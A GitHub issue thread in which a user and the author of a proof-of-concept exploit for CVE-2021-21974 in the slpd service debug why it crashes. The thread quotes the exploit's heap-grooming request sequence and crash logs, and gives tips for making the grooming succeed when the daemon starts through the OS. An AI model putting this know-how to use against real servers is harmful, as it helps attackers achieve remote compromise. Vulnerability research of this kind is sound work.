straightblast / My-PoC-Exploits

PoC exploits I wrote. They're as is and I will not offer support
273 stars 62 forks source link

Crash on Client 16 - 14320388 #5

Open meirtolpin11 opened 3 years ago

meirtolpin11 commented 3 years ago

Hi, so I am trying to run the PoC against build 14320388, but every time it crashes on this part -

 requests[14].put(close())

 requests[15].put(connect())

 requests[15].put(attribute_request(b'service:pwn', 0x20))

 requests[13].put(block(0x110))

 requests[16].put(connect())

 requests[17].put(connect())

Any Ideas why ? I tried to play with the timer, set it 1,5,8,10, but nothing helps. Everytime the same error :( image

Any ideas?

straightblast commented 3 years ago

Hi,

It looks like the clients are running out of sync. The clients should run in sequential order (1,2 .. 14, 15, 16) etc, for both the requests and responses. Best bet is to revise the code to remove threading and create an array of clients and make them one sequentially, that should correct the issue.

On Tue, Sep 7, 2021 at 9:34 AM meirtolpin11 @.***> wrote:

Hi, so I am trying to run the PoC against build 14320388, but every time it crashes on this part - ` requests[14].put(close()) requests[15].put(connect()) requests[15].put(attribute_request(b'service:pwn', 0x20))

requests[13].put(block(0x110)) requests[16].put(connect()) requests[17].put(connect()) Any Ideas why ? I tried to play with the timer, set it 1,5,8,10, but nothing helps. Everytime the same error :([SLP Client-14] service request [SLP Client-14] recv: b'\x02\x02\x00\x00\x14\x00\x00\x00\x00\x00\x00\x05\x00\x02en\x002\x00\x00' [SLP Client-12] service request [SLP Client-12] recv: b'\x02\x02\x00\x00\x14\x00\x00\x00\x00\x00\x00\x05\x00\x02en\x002\x00\x00' [SLP Client-14] close [SLP Client-15] connect [SLP Client-15] attribute request [SLP Client-15] recv: b'' [SLP Client-13] service request [SLP Client-13] recv: b'' [SLP Client-16] connect [SLP Client-17] connect [SLP Client-12] close Exception in thread Thread-16: Traceback (most recent call last): File "C:\Python38-32\lib\threading.py", line 932, in _bootstrap_inner self.run() File "CVE-2021-21974.py", line 56, in run s.connect((IP, PORT)) ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it [SLP Client-18] connect `

Any ideas?

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/straightblast/My-PoC-Exploits/issues/5, or unsubscribe https://github.com/notifications/unsubscribe-auth/AGBX6EDFUQSVV7YBO5APDY3UAY5I5ANCNFSM5DSYOR2Q . Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

meirtolpin11 commented 3 years ago

Hi,

I just removed the threading, and tried to exploit it again - image

Still crashing on SLP client 16 connect. After the step of attribute_request of client 15 it's sending the 13's block and crashing.

meirtolpin11 commented 3 years ago

played a bit with a debugger - crashing when 15 is sending attribute_request(b'service:pwn', 0x20)

straightblast commented 3 years ago

It looks like it is still out of sync, the request and response for each client must be in consecutive order. It is my bad for using threading. Perhaps remove threading + introduce a sleep per each request/response to see if it makes a difference?

On Thu, Sep 9, 2021 at 10:37 AM meirtolpin11 @.***> wrote:

played a bit with a debugger - crashing when 15 is sending attribute_request(b'service:pwn', 0x20)

— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/straightblast/My-PoC-Exploits/issues/5#issuecomment-916302150, or unsubscribe https://github.com/notifications/unsubscribe-auth/AGBX6ECOXK35CPCIGD4EY2LUBDWHBANCNFSM5DSYOR2Q . Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

meirtolpin11 commented 3 years ago

I already removed threading. it's running exactly like the order in the exploit function.

slpclients[11].run(connect())
slpclients[12].run(connect())
slpclients[13].run(connect())
slpclients[11].run(block(0x810))
slpclients[14].run(connect())
slpclients[14].run(block(0x160))
slpclients[12].run(block(0x810))
slpclients[14].run(close())
slpclients[15].run(connect())
slpclients[15].run(attribute_request(b'service:pwn', 0x20))
slpclients[13].run(block(0x110))
slpclients[16].run(connect())
slpclients[17].run(connect())
slpclients[12].run(close())
slpclients[18].run(connect())

this is the code part, the order in the code is the same as in the terminal output. And the after every client's request there is the same client's recv (and only then the next client).

straightblast commented 3 years ago

If that's the case, the heap grooming got messed up I assume. This could be the way how you start up the slpd daemon, i noticed running it directly, or through init.d have different heap states for the slpd

On Thu, Sep 9, 2021 at 11:58 AM meirtolpin11 @.***> wrote:

I already removed threading. it's running exactly like the order in the exploit function. ` slpclients[11].run(connect()) slpclients[12].run(connect()) slpclients[13].run(connect()) slpclients[11].run(block(0x810)) slpclients[14].run(connect()) slpclients[14].run(block(0x160)) slpclients[12].run(block(0x810)) slpclients[14].run(close()) slpclients[15].run(connect()) slpclients[15].run(attribute_request(b'service:pwn', 0x20))

slpclients[13].run(block(0x110)) slpclients[16].run(connect()) slpclients[17].run(connect())

slpclients[12].run(close()) slpclients[18].run(connect())

`

this is the code part, the order in the code is the same as in the terminal output. And the after every client's send there is the same client's recv.

— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/straightblast/My-PoC-Exploits/issues/5#issuecomment-916355920, or unsubscribe https://github.com/notifications/unsubscribe-auth/AGBX6EB4Q7RGD25ONI5OOOLUBD7UDANCNFSM5DSYOR2Q . Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

meirtolpin11 commented 3 years ago

Yes it's really the problem. When I run the slpd manually it's working perfect, but when its starting up by the os - the heap grooming not working. you have any idea how to bypass this issue?

straightblast commented 3 years ago

You will have to setup a debugger to see what the heap looks like when slpd starts. From there, it probably have some freed chunks that needs to be filled up ahead of time or it gets pick up by the heap grooming process.

On Thu, Sep 9, 2021 at 12:46 PM meirtolpin11 @.***> wrote:

Yes it's really the problem. When I run the slpd manually it's working perfect, but when its starting up by the os - the heap grooming not working. you have any idea how to bypass this issue?

— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/straightblast/My-PoC-Exploits/issues/5#issuecomment-916386749, or unsubscribe https://github.com/notifications/unsubscribe-auth/AGBX6EFWYQH6KNCRBJONJI3UBEFI5ANCNFSM5DSYOR2Q . Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.